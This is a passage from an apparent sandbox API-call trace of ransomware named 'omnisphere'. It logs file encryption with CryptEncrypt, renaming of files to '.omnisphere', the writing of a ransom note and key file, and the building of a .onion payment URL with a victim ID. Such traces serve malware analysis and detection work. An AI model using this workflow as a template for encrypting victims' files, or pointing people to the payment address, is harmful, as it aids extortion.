hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.181] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.182] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.183] CryptDestroyKey (hKey=0x1639b68) returned 1 [0120.183] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0120.183] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x489, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.183] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.183] GetProcessHeap () returned 0x1600000 [0120.183] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x16bc580 [0120.184] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fo1k6w.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fo1k6w.flv.lnk.omnisphere")) returned 1 [0120.184] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk.omnisphere.id" [0120.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fo1k6w.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.186] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.186] CloseHandle (hObject=0x3c0) returned 1 [0120.187] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.187] CloseHandle (hObject=0x288) returned 1 [0120.187] SetEndOfFile (hFile=0x28c) returned 1 [0120.187] FlushFileBuffers (hFile=0x28c) returned 1 [0120.191] CloseHandle (hObject=0x28c) returned 1 [0120.191] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fo1k6w.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.191] GetProcessHeap () returned 0x1600000 [0120.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16c9018 [0120.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.191] GetProcessHeap () returned 0x1600000 [0120.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1cf8 [0120.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1cf8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.191] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.191] GetProcessHeap () returned 0x1600000 [0120.191] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b00a8 [0120.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b00a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.192] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.192] GetProcessHeap () returned 0x1600000 [0120.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bfff0 [0120.192] PathCombineW (in: pszDest=0x16bfff0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.192] GetProcessHeap () returned 0x1600000 [0120.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c4fd0 [0120.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.192] WriteFile (in: hFile=0x28c, lpBuffer=0x16c4fd0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c4fd0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.192] CloseHandle (hObject=0x28c) returned 1 [0120.192] GetProcessHeap () returned 0x1600000 [0120.192] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16c9018 | out: hHeap=0x1600000) returned 1 [0120.192] GetProcessHeap () returned 0x1600000 [0120.192] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.192] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.193] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.193] CloseHandle (hObject=0x28c) returned 1 [0120.193] GetProcessHeap () returned 0x1600000 [0120.193] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.193] GetProcessHeap () returned 0x1600000 [0120.193] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656a18 | out: hHeap=0x1600000) returned 1 [0120.193] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f62e374, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f62e374, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1f62e374, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x345, dwReserved0=0x0, dwReserved1=0xd3, cFileName="fXjbV28LC0IFk.lnk", cAlternateFileName="FXJBV2~1.LNK")) returned 1 [0120.193] GetProcessHeap () returned 0x1600000 [0120.193] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0120.193] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="fXjbV28LC0IFk.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk" [0120.193] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fXjbV28LC0IFk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\fxjbv28lc0ifk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.193] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=837) returned 1 [0120.193] GetTickCount () returned 0x115e079 [0120.193] GetTickCount () returned 0x115e079 [0120.193] GetTickCount () returned 0x115e079 [0120.193] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] GetTickCount () returned 0x115e079 [0120.194] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668570) returned 1 [0120.195] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639568) returned 1 [0120.195] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.195] CryptDestroyKey (hKey=0x1639568) returned 1 [0120.195] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0120.195] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x345, lpName=0x0) returned 0x288 [0120.195] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x345) returned 0x1480000 [0120.196] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0120.196] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0120.196] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.196] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 